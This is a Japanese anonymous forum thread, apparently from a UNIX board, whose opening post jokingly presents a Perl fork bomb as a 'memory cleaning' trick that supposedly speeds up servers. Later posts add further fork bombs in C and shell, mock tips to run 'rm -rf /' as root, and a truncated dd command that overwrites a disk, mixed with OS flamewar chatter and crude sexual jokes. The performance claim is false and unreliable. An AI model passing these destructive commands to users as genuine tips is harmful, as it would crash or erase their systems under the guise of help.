簡単！メモリクリーニング

[1 名無しさん＠お腹いっぱい。 NG NG]

UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

[317 名無しさん＠お腹いっぱい。 NG NG]

システムコール入り口への関数

と捉えると、fork関数でもよいではないかよいではないか

[318 名無しさん＠お腹いっぱい。 NG NG]

最近の話題ｻﾊﾟｰﾘ意味わからん

[319 名無しさん＠お腹いっぱい。 NG NG]

forkダンス
forkダンス
forkダンス

と。

[320 名無しさん＠お腹いっぱい。 NG NG]

>>1を走らせている状態（Load averageが1000を超えているような状態）でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない？

[321 314 NG NG]

>>316
遅レススマソ。THX

[322 あぼーん NG NG]

あぼーん

[323 名無しさん＠お腹いっぱい。 NG NG]

むしろコスモクリーニング

[324 名無しさん＠お腹いっぱい。 NG NG]

小宇宙クリーニング

[325 名無しさん＠お腹いっぱい。 NG NG]

あるいはメモリリーキング

[326 名無しさん＠お腹いっぱい。 NG NG]

リナックスは糞

これ常識

[327 名無しさん＠お腹いっぱい。 NG NG]

なんじゃこりやぁぁぁぁぁぁぁぁぁぁ

[328 名無しさん＠お腹いっぱい。 NG NG]

>>95
昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った
次の日見たら、応答してて待っていたダイアログ出してたｗ

[329 名無しさん＠お腹いっぱい。 NG NG]

放置プレイ

[330 名無しさん＠お腹いっぱい。 NG NG]

Mac埼京

[331 名無しさん＠お腹いっぱい。 NG NG]

$echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init

とかだとどうかな？

[332 名無しさん＠お腹いっぱい。 NG NG]

脂肪

[333 名無しさん＠お腹いっぱい。 NG NG]

リナックス脂肪

[334 あぼーん NG NG]

あぼーん

[335 名無しさん＠お腹いっぱい。 NG NG]

強制シャットダウンでディスクを壊さん程度に。

[336 名無しさん＠お腹いっぱい。 NG NG]

すげー、rm -rf /*　やったら超速くなりました

[337 名無しさん＠お腹いっぱい。 NG NG]

すげー、rm -rf >>336 やったら超速くなりました

[338 あぼーん NG NG]

あぼーん

[339 名無しさん＠お腹いっぱい。 NG NG]

レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。

[340 名無しさん＠お腹いっぱい。 NG NG]

>>336
rootになるのを忘れるな

[341 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
. $0

[342 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
case $1 in
>>1)
echo "逝ってよし"
;;
*)
echo "ウンコ喰え"
exit 1
;;
esac

exit 0

[343 名無しさん＠お腹いっぱい。 NG NG]

>>338 すげー誤爆だな、
>>339　そうです。

[344 名無しさん＠お腹いっぱい。 NG NG]

簡単！ディスククリーニング

[345 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
. $0 &

[346 名無しさん＠お腹いっぱい。 NG NG]

fork

[347 名無しさん＠お腹いっぱい。 NG NG]

Linuxが糞だという事実を確認するためのスレはここですか？

[348 名無しさん＠お腹いっぱい。 NG NG]

リナッ糞

[349 名無しさん＠お腹いっぱい。 NG NG]

やっぱＷｉｎｄｏｗｓ最強だな

[350 名無しさん＠お腹いっぱい。 NG NG]

>>2
そこで質問したら、

890 ：名無しさん＠お腹いっぱい。 ：03/05/01 07:02
>>889
rootでログインして

# rm -rf /

こんな答えしか返ってきませんでした。
だからまともなレスをもらうためにスレを立てるんです。
だいたい>>2は、そんな事を書くぐらいならアンインストールの方法を
一言書いてくれればいいじゃないですか。

[351 名無しさん＠お腹いっぱい。 NG NG]

ちんちん

[352 名無しさん＠お腹いっぱい。 NG NG]

ddのがナウイ

[353 名無しさん＠お腹いっぱい。 NG NG]

exit 0

[354 名無しさん＠お腹いっぱい。 NG NG]

洗剤つけてタワシでゴシゴシ洗え

[355 名無しさん＠お腹いっぱい。 NG NG]

この程度でリナックスは氏ぬなんて糞OSですね。

[356 名無しさん＠お腹いっぱい。 NG NG]

>>331
time ./init
./init 0.00s user 0.00s system 0% cpu 0.001 total

何か？

[357 名無しさん＠お腹いっぱい。 NG NG]

>>356
子作りしてすぐ死ぬわけだから、
そいつ自体の負荷が小さいのは当然では？

[358 名無しさん＠お腹いっぱい。 NG NG]

>>345

システム落ちた....

なんで？

[359 名無しさん＠お腹いっぱい。 NG NG]

>>358
そのシステムってなぁに？？？

[360 名無しさん＠お腹いっぱい。 NG NG]

>>358
わからんの？

[361 名無しさん＠お腹いっぱい。 NG NG]

なんでー？

[362 名無しさん＠お腹いっぱい。 NG NG]

なんでー？

[363 名無しさん＠お腹いっぱい。 NG NG]

なんでー？

[364 名無しさん＠お腹いっぱい。 NG NG]

そして伝説へ

[365 名無しさん＠お腹いっぱい。 NG NG]

無限増殖とは宇宙の神秘

[366 名無しさん＠お腹いっぱい。 NG NG]

潮吹きとは女体の神秘

[367 名無しさん＠お腹いっぱい。 NG NG]

リアルで潮吹きとやらを拝んでみたいものよのう。

[368 名無しさん＠お腹いっぱい。 NG NG]

>>367
シーツが濡れて冷たくて寝る場所が無くなるとゆー罠

[369 名無しさん＠お腹いっぱい。 NG NG]

どこのだれが「潮吹き」と名づけたのか気になる

[370 名無しさん＠お腹いっぱい。 NG NG]

もちろん漁師。

[371 名無しさん＠お腹いっぱい。 NG NG]

女体の一本釣り

[372 名無しさん＠お腹いっぱい。 NG NG]

おまいらエロすぎ。

[373 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
. $0

[374 名無しさん＠お腹いっぱい。 NG NG]

リナックスうんこ

[375 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
. $0 &

↑

これやると、なんで落ちるの？

[376 名無しさん＠お腹いっぱい。 NG NG]

リカーシブ ?

[377 名無しさん＠お腹いっぱい。 NG NG]

#shutdown -h now で電源を切ったあとに
念のため、電源コードをコンセントから抜きます。
どこか金属の部分に触れて体に溜まった静電気を
放電します。
メモリスロット両脇の詰を外側に開いて
慎重にメモリを取り外します。このとき、なるべく
基板に触れないようにします。
メモリを無事外すことができたら、エアーダスターで
埃を吹きとばします。
接点が汚れてる場合は、綺麗にします。
例えば、酸化被膜が出来ている場合は何度か
メモリスロットに抜き差しをすることで自然に取れます。
接点復活剤や鉛筆も役に立ちます。
作業が終ったら、メモリを元に戻します。
メモリスロットの切込みを合わせてカチッと
音がするまで差しこみます。
これで、メモリクリーニングは完了です。

[378 名無しさん＠お腹いっぱい。 NG NG]

↑一所懸命考えた必死なLinuxerの書き込み

[379 名無しさん＠お腹いっぱい。 NG NG]

↑常に必死なWindowserの書き込み

[380 名無しさん＠お腹いっぱい。 NG NG]

↑他に書くことが思いつかなかったMacerの書き込み

[381 名無しさん＠お腹いっぱい。 NG NG]

↑永 六輔

[382 名無しさん＠お腹いっぱい。 NG NG]

2GB以上の増設の場合は水かぶって、五体投地してから。

[383 名無しさん＠お腹いっぱい。 NG NG]

Solaris9 + Blade100 で固まった。
外部からsshでもダメぽ。

[384 名無しさん＠お腹いっぱい。 NG NG]

結論:
Unixは駄目OS

[385 名無しさん＠お腹いっぱい。 NG NG]

Windowsは駄目っていうか苦い

[386 名無しさん＠お腹いっぱい。 NG NG]

Plan9の時代がやってくる。

[387 名無しさん＠お腹いっぱい。 NG NG]

Plan9の時代はもっと先
それまでにあの兎をどうにかしよう

[388 名無しさん＠お腹いっぱい。 NG NG]

>>375
プロセスが鼠算式に増えてプロセステーブルを使い果たすからじゃないの。

[389 名無しさん＠お腹いっぱい。 NG NG]

セックスしたいからです。
セックス！！セックス！！セックス！！

[390 名無しさん＠お腹いっぱい。 NG NG]

>>389
　>>371

[391 名無しさん＠お腹いっぱい。 NG NG]

誰かUnixの時代を終わらせてくれ。
現時点でWindows本命。

[392 名無しさん＠お腹いっぱい。 NG NG]

ていかWindows(MS)の時代を終らせて欲しい

技 術 力 で 競 争 す る 時 代 き ぼ ん ぬ

[393 名無しさん＠お腹いっぱい。 NG NG]

ｽｶｰﾄめくり＝すかーっとメモリクリーニング

[394 名無しさん＠お腹いっぱい。 NG NG]

>>391
必要なOSを必要なときに使えばいいと思うよ。
リモートデスクトップやVNCが使えるようになった今日でも
遠隔地からの保守はUnix系のOSの方がしやすいと思うけど。
逆に遠隔地から保守するひつようがなくマウス操作ですべて
済ませたい場合はWindowsが向いていると思うけど。

>>392
Microsoftにもかなりの技術力があると思うが。
ACL(Access Control List)を最初に実装したのはM社だったし、
NTFS5にはジャーナリング機能があるし、
起動時には動作をできるだけ並列化することで起動時間を短くしているし。

[395 名無しさん＠お腹いっぱい。 NG NG]

>>394
XFSやReiserfsにおけるジャーナリングファイルシステムの幾つかの利点が
NTFSにはないけどね。

速度 復旧の速さ フラグメント

NTFSはFAT32より遅く
有事の際にはディスクチェックが入り
しかもフラグメントする
ファイルが壊れるのは過去のfsと何らかわりない

起動時間の速さなんてPC次第で大分かわる
俺のショボPCじゃいくらWinが速くなったところで
ものの7,8秒で起動してくれるLinuxやFreeBSDには残念ながら敵わんよ。

>技術力がある
絶対ある 確実にある それは間違いないが
あるからそいつを使う必要が常にあるかといえばそうじゃない。
Win95以降のMSは鼻糞ほじりながらでも、そこそこの収入が入り
Win98以降はまともな競合相手すらいないから寝てたって金が入る
ときどき慰め程度に新しいバージョン売り出せばそれでオッケ。
長期的に金かけて技術を産み出し、それを駆使するよりは、一時的な出費で
競合(しそうな)相手潰したり、まるごと買収したほうが安あがりだし、悪い芽を摘むという意味ではある意味長期的に利益になる。

今は穴出しまくって大変だからそうも言ってられないけど。

[396 名無しさん＠お腹いっぱい。 NG NG]

ファイルやディレクトに関するアクセス権の定義の手法を開発したのがMSだとでも思ってるんですかね。
痛すぎ。

Windowsにおけるその実装がACLということで
Windowsにアクセス権という概念がACLよってはじめてもたらされた。
Windowsにおける始めてのアクセス権の実装はMSが最初だ。
というのならわかるが。

[397 名無しさん＠お腹いっぱい。 NG NG]

ドザもマカと一緒なの？

そのうち
「人類の起源はMS本社ﾆﾀﾞ!!｣
って言いだすんだろうな

[398 394 NG NG]

>>395
フラグメントするのは確かに痛い。
FreeBSDでKLD使わないとかなり速く起動するのは知っているけれど、Linuxってそんなに速いか?

確かに、技術力ではなくビジネスで伸びてきたというのは否めないね。
でもそういった部分でいい人材を獲得しているとも思えるわけで。

>>396
ほえ?じゃあ、ACLを最初に標準実装としたOSは何?

ファイルやディレクトリに対してのアクセス権の制御自体は
Unixの主な機能の一つであり初期からあったことは知っている。
ただ、従来のUnixのowner,group,othersという分類よりも細かいことができるという点で
ACLは勝っているとは思っているが。
これを最初に研究のためにつけたのではなく標準で搭載したOSって他にあったのか...

>>397
最初のWindow SystemがXerox PARCにて生まれたことは知ってますが何か?
ただ、それが売れるとは誰も思わなかったから最初に普及したのはマックってだけで。

[399 395 NG NG]

なんだか便乗叩きが多いな…
>>398
俺はGentooLinux FreeBSD4.8R Windows(2k)をどれも使ってるんだが
BIOSのロードとブートローダを除いた、OSのブート時の時間は
速 FreeBSD = Linux > Windows 遅
って感じかなぁ。

計測したのは最近じゃないんだが、環境はほとんど変えてない、どれもkernel
読み出しからログイン画面が出るまでの時間。Linux と FreeBSDはどちらもコ
ンソールからのログイン。Linuxは最低限必要と思われる起動スクリプトとデー
モンのみ。FreeBSDは、同じく必要な物それぞれに加えsshとsamba、apache。
Win2kは特に鯖は立ててない。安定化とパフォーマンスアップを狙ってスワッ
プが外部ドライブでサイズ固定。あとは割と有名な範囲でのレジストリの調整
はしてある。スワップ用のドライブはFAT32。

LinuxはノートPCで性能は良くない、MMX Pentium 230Mhz Mem 96MB。FreeBSD
の方もほぼ同様だがこちらはデスクトップでメモリは128MB。ハードディスク
はノートの物と比較して若干高速な物にしてあると思う。
Win2kはPentium3の500Mhz程度でメモリは512MB。デスクトップPCでハードウェ
アの構成はいたってシンプル。CD-RWドライブにハードディスク二個、LANカードに
USBボード。デバイスはUSBに頼って中身はあまり入れてない。

このWindows絶対的優位な状況において、Windowsは起動に１分前後かかったのに対し
スッカラカンのLinuxは前述のとおり7,8秒。それより若干ハンデがあるFreeBSDも同程度。
以前はノートPCのほうでWin2kを使っていたが、こちらでは3分程かかった。

[400 名無しさん＠お腹いっぱい。 NG NG]

>>399
そんな長々評論するほど起動時間って重要なの？

[401 395 NG NG]

>>400
ほんと失礼した。
ながすぎですね、ごめんなさい。

重要と言われれば重要のような気もする。FreeBSDの方は鯖として使ってるの
で停止させる事は滅多にないけどLinuxとWindowsはクライアントなので長時間
使わないときは電源落しとくから。ほったらかしておくと、Winの中で安定し
ている2kとは言え昨今の状況からしていつ穴がつつかれるかわかったもんじゃ
ないのとHDDが丈夫な高級品じゃないので、逝ってしまわれたらアレなんでねぇ
(HDDはノートのほうが心配だが)。そんなわけで日に二度三度消したりつけた
りするので、アッサリ起動するLinuxを後目に、チンタラしてるWindowsを見る
と少しイライラしたりする。そんな程度のことですよ。

[402 名無しさん＠お腹いっぱい。 NG NG]

NTFSはFAT32より速いです

[403 394 NG NG]

>>399
えっと、並列化するようになったのはXPからね。
Windows 2000の起動は並列実行していないのでむちゃくちゃ遅い。

それと比較の方法がunfairだと思う。
Windowsと起動時間を比較するならWindowsと同等の機能をもてるだけのデーモンを起動し、
xdm立ち上げるくらいはしないと...

[404 名無しさん＠お腹いっぱい。 NG NG]

>>403
同等の機能を持つデーモンってなんですかね。
鯖に使ってるわけじゃないんで、Winの方は起動時に何もさせてないんだけど。
スタートアップファイルはログイン後に読み込まれるもんだし。
特別なサービス使ってるわけでもないし、無効にしても大丈夫なもんは極力無効にしてるんでね。

xdmでもkdeもgdmでも
１分もかかんないっすね。
20〜25秒かな。
まあ、無茶苦茶な設定にすればWin並に時間かける事は可能だろうけど
使わなくてもいいようなデーモンまでなんでもかんでも入れちゃえば
１分2分はかかるかなぁ。そしたらWinが持つ機能よりも多機能になっちゃうよ。
vnc apache named ssh sendmail finger bind qmail tripwaire Oracle
こんくらいやればいけそう。

2kはむちゃくちゃ遅いとのことですけど
XPより速いと思うのは、俺だけ？
Winの中じゃかなり速い部類だと思うんだけどいかがなものか。

>>400も言ってるけど、語るほど重要でもないよね。
別に一方が数秒で起動して、他方が１分かかってもいいんでないの？

[405 名無しさん＠お腹いっぱい。 NG NG]

ウチは電源入れてから起動するまで22時間かかる。

[406 名無しさん＠お腹いっぱい。 NG NG]

>>404
> 2kはむちゃくちゃ遅いとのことですけど
> XPより速いと思うのは、俺だけ？
計測はしてないが2kは起動遅いよ。XPの方がはやい。

[407 名無しさん＠お腹いっぱい。 NG NG]

じゃあ結論としてはこうね

Linux *BSD > XP > 2k

[408 403 NG NG]

>>404
Windowsくんは何もしないでも動いているサービスがあるので
それらと同じようなサービスをするものすべてを動かすという意味。
たとえば、Samba,automount daemon,ntpなど。

> 2kはむちゃくちゃ遅いとのことですけど、
並列実行するのでマシンの処理速度はかなり効いてくると思う。
並列処理するとコンテキストスイッチのオーバーヘッドがつくしね。

>>407
そうか?Linuxはそんなに起動が速いか?
FreeBSDと比べて遅いと感じた記憶があるけれど、最近は変わったのかな。

[409 名無しさん＠お腹いっぱい。 NG NG]

次は起動時間厨か。

[410 名無しさん＠お腹いっぱい。 NG NG]

>>401
> ないのとHDDが丈夫な高級品じゃないので、逝ってしまわれたらアレなんでねぇ

2.5 インチ系はしらんが, 3.5 インチドライブって
スピンアップの時に一番ストレスかかるんだが...

おれは, 一度火をいれた disk はよほどのことがな
い限り電源落さないけど...

# 冷却はしっかりやっとく必要はあるけど...

[411 名無しさん＠お腹いっぱい。 NG NG]

>>408
そうしたところで、Win程遅くなることはないよ
LinuxにしてもFreeBSDにしてもね。

うちのLinuxはkernel読み出してから7秒後にログイン可能だ。
環境が許せば、LinuxBIOSなんてのを使うと3秒程度になるらしい。

Pentium 130Mhz
Mem 48MB
HDDはDMA無し

#Win2kだと3分以上はかかる。XPはインストールしようとすら思わなかった。

[412 名無しさん＠お腹いっぱい。 NG NG]

XPは2秒で起動する！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！

[413 名無しさん＠お腹いっぱい。 NG NG]

ｳｿﾂｷｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!

[414 名無しさん＠お腹いっぱい。 NG NG]

クロレッツXP

[415 名無しさん＠お腹いっぱい。 NG NG]

ケンシロウでも２秒は無理。

[416 名無しさん＠お腹いっぱい。 NG NG]

>>1
すばらしい。うまくいったよ。
お礼にディスククリーニング法を教えてあげる。

# dd if=/dev/zero of=(以下略

[417 名無しさん＠お腹いっぱい。 NG NG]

それ廃棄前にやってたなぁ。
ある意味クリーニング。

女の子が下着捨てるまえに洗濯してハサミで細切れにするのと似たようなもんだ。